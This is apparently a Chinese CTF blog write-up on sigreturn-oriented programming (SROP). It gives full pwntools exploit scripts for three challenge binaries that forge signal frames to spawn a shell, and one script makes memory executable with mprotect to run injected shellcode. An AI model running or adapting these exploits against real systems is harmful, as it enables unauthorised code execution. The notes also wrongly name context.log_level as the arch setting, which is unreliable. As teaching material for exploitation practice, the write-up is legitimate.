eeeeeeeeeeeeeeeea

愿我们永远热泪盈眶!

0%

SROP

SROP

一:注意

小伙伴应该都看了很久的资料吧,其主要意思是通过系统调用来劫持程序流,我也不在这里多逼逼hhh。先说几点要注意的

1
2
3
1.系统调用是内核态所做的事情
2.sigreturn是系统调用,调用号在64位下位15(也就是说在没有sigreturn系统调用地址的时候,只有rax=15且具有syscall才能进行sigreturn系统调用)
3.在写exp的时候,需要写该程序的arch(context.log_level = "amd64")

二:题目详细介绍

1.ciscn_s_3

1.看ida

有read和write系统调用,有栈溢出,可以通过write来泄露/bin/sh地址,这样就方便了很多。

这有gadgets,分别是sigreturn的系统调用号和execve的系统调用号

2.泄露地址

顾名思义,就是泄露我们输入的数据在栈中的位置

1
2
3
4
5
6
payload = "/bin/sh\x00"
payload = payload.ljust(0x10,"\x00")+p64(0x4004ed)
p.send(payload)
p.recv(0x20)
binsh_addr = u64(p.recv(8))-280 # 0x00007fffffffde08 - 0x00007fffffffdcf0 = 280
print "binsh_addr = " +hex(binsh_addr)

3.构造frame

这是最重要的部分,所以我会详细的说一下

1
2
3
4
5
6
frame = SigreturnFrame()
frame.rax = 59 #constants.SYS_execve
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = 0x400501 #syscall

这就是构造的frame,当触发sigreturn系统调用后,rax=59,rdi=binsh_addr,rsi=0,rdx=0,rip=0x400501

这样就知道了把,sigreturn系统调用的作用就是恢复之前用户态寄存器的值。

1
2
payload = "/bin/sh\x00" + p64(0) + p64(0x4004DA) + p64(0x400501) + str(frame)   #mov rax,15 = 0x4004DA
p.send(payload)

传入payload之后,程序会执行0x4004DA,将rax赋值为15,然后执行0x400501即syscall,程序就会去栈中找到各个寄存器的值并pop到寄存器中,然后执行我们伪造的rip即syscall,达到getshell的目的

2.cstc2021 small

1.看ida

这题只有一个read系统调用,这就需要我们去伪造一个sigreturn系统调用然后让其pop给各个寄存器我们伪造的值

2.思路

第一步在frame中构造栈迁移和read系统调用

1
2
3
4
5
6
7
8
9
10
11
12
frame = SigreturnFrame()   #伪造
frame.rax = 0
frame.rdi = 0
frame.rsi = 0x402500
frame.rdx = 0x300
frame.rip = 0x40102B
frame.rsp = 0x402500
frame.rbp = 0x402500

payload = "a"*0x18 + p64(vuln) + p64(0x40102B) + str(frame) # syscall = 0x40102B
p.send(payload)
p.sendline("a"*14) #

传入payload之后,程序执行vuln即重新执行read调用,我们输入14个a之后(我用的sendline,在最后一个a后会有换行符,所以相当于输入15个),rax=15,然后这时候填入栈中的0x40102B就进行了系统调用,pop出各个寄存器的值。此时rip是syscall,rax=0即调用read系统调用。

1
2
3
4
5
6
7
8
9
10
11
12
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = 0x402500
frame.rip = 0x40102B
frame.rsi = 0
frame.rdx = 0

payload = "\x00"*8 + p64(vuln) + p64(0x40102b) + str(frame)
p.sendline(payload)
p.send("q"*8+"/bin/sh")

p.interactive()

payload前八位是”\x00”,因为执行完syscall(0x40102B),后续会pop rbp,然后ret回vuln函数再进行read系统调用,这个”q”*8是使rax=15,并且使/bin/sh正好在0x402500处。

这题与上题的区别就是,我们需要自己构造rax麻烦一点

3.smallest

这题很经典,我看了大概好几个月,这几个月中看了好几遍,有一个地方一直不太通,今天上午问了漫牛老师,终于明白了,漫牛老师yyds,同时感谢我最爱的琪giegie

下面给出三种exp

1.exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
context.log_level = "debug"
p = process("./smallest")
context.arch = "amd64"
def g():
gdb.attach(p)
input()

syscall = 0x4000BE
main = 0x4000B0

payload1 = p64(main)*3
p.send(payload1)

p.send("\xB3") #rax = 1
stack_addr = u64(p.recv()[8:16])
success("stack_addr:"+hex(stack_addr))

frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = stack_addr
frame.rdx = 0x300
frame.rsp = stack_addr
frame.rip = syscall

payload2 = p64(main) + p64(0) + str(frame)
p.send(payload2)

p.send(p64(syscall)+"a"*7) #rax = 15

frame = SigreturnFrame()
frame.rax = 59
frame.rdi = stack_addr+0x200 # /bin/sh
frame.rsi = 0
frame.rdx = 0
frame.rsp = stack_addr
frame.rip = syscall

payload3 = p64(main) + p64(0) + str(frame)
payload3 = payload3 + (0x200-len(payload3))*"a"+"/bin/sh\x00"
p.send(payload3)

p.send(p64(syscall)+"a"*7)

p.interactive()

这几个月我一直不明白为什么要加p64(0),其实是因为防止调用sigreturn时所伪造的寄存器的值发生改变。

我画个图,这样比较好解释

2.exp2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
context.log_level = "debug"
p = process("./smallest")
context.arch = "amd64"
def g():
gdb.attach(p)
input()

syscall = 0x4000BE
main = 0x4000B0
ret = 0x4000C0

payload1 = p64(main)*3
p.send(payload1)

p.send("\xB3") #rax = 1
stack_addr = u64(p.recv()[8:16])
success("stack_addr:"+hex(stack_addr))

frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = stack_addr
frame.rdx = 0x300
frame.rsp = stack_addr
frame.rip = syscall

payload2 = p64(main) + p64(0) + p64(0) + str(frame) ############## here
p.send(payload2)

p.send(p64(ret)+"\xBE\x00\x40\x00\x00\x00\x00") #rax = 15 here

frame = SigreturnFrame()
frame.rax = 59
frame.rdi = stack_addr+0x200 # /bin/sh
frame.rsi = 0
frame.rdx = 0
frame.rsp = stack_addr
frame.rip = syscall

payload3 = p64(main) + p64(0) + p64(0) + str(frame)
payload3 = payload3 + (0x200-len(payload3))*"a"+"/bin/sh\x00"
p.send(payload3)

p.send(p64(ret)+"\xBE\x00\x40\x00\x00\x00\x00")

p.interactive()

3.exp3

思路是利用mprotect修改text段权限,传入shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
context.log_level = "debug"
p = process("./smallest")
context.arch = "amd64"

main = 0x4000B0
syscall = 0x4000BE
ret = 0x4000C0
def g():
gdb.attach(p)
input()

frame = SigreturnFrame()
frame.rax = constants.SYS_mprotect #10
frame.rdi = 0x400000
frame.rsi = 0x1000
frame.rdx = 7
frame.rsp = 0x400128
frame.rip = syscall

payload1 = p64(main) + p64(0) + str(frame)
p.send(payload1)

p.send(p64(syscall) + "a"*7) #rax = 15
#mprotect finished

shellcode = asm('''
mov rax,59
mov rdi,0x68732f6e69622f
xor rsi,rsi
xor rdx,rdx
push rdi
mov rdi,rsp
syscall
''')
payload = p64(0x400138) + shellcode

p.send(payload)

p.interactive()